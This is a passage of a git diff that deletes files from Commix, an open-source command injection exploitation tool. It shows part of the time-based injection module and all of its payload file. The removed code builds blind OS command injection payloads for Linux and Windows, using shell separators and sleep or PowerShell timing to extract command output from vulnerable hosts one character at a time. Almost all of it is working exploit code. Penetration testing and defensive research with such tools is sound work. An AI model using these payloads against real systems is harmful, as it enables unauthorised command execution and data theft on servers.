settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Presuming the execution output." - info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - else: - output.append(chr(ascii_char)) - injection_check = False - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - # Check for empty output. - if output == (len(output) * " "): - output = "" - - else: - check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - - check_how_long = 0 - output = False - - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output - -""" -False Positive check and evaluation. -""" -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - - # Varying the sleep time. - timesec = timesec + random.randint(1, 5) - - # Checking the output length of the used payload. - for output_length in range(1, 3): - # Execute shell commands on vulnerable host. - if alter_shell: - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print("\n" + settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - sys.stdout.flush() - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 20): - - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - return how_long, output - else: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) - - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - else: - # Check if exists pipe filtration. - if output != False : - err_msg = "It appears that '" + cmd + "' command could not return " - err_msg += "any output due to '" + separator + "' filtration on target host. " - err_msg += "To bypass that limitation, use the '--alter-shell' option " - err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check for fault command. - else: - err_msg = "The '" + cmd + "' command, does not return any output." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_critical_msg(err_msg)) -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py deleted file mode 100755 index 9cf94630f8..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ /dev/null @@ -1,629 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import settings - -""" -The "time-based" injection technique on Blind OS Command Injection. -The available "time-based" payloads. -""" - -""" -Time-based decision payload (check if host is vulnerable). -""" -def decision(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=$(echo " + TAG + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(echo " + TAG + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=$(echo " + TAG + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(output_length) + " != $(echo " + TAG + " " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\"" - if separator == "||" : - payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'" + TAG + "\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - - return payload - -""" -Execute shell commands on vulnerable host. -""" -def cmd_execution(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - #"str1=${%23str}" + separator + - "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + - "str=$(echo $(" + cmd + "))" + separator + - # Find the length of the output. - "str1=$(expr length $str)" + separator + - #"str1=${%23str} " + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " +str(output_length)+ " != $(echo -n \"$(" + cmd + ")\" " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(output_length) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(output_length) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'$(echo $(" + cmd + "))\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - - return payload -""" -Get the execution output, of shell execution. -""" -def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + - # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + - # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + - # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + - # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + - # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + - # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + - # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + - # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + - # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " != $(" + cmd + pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\"" - if separator == "||" : - payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - - return payload - -""" -Get the execution output, of shell execution. -""" -def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=\"$(" + cmd + ")\" " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) - ) - - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " != \"$(" + cmd + ")\" ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(ascii_char) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(ascii_char) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print $(echo $(" + cmd + "))\n\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - - return payload -# eof \ No newline at end of file diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/controller/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos 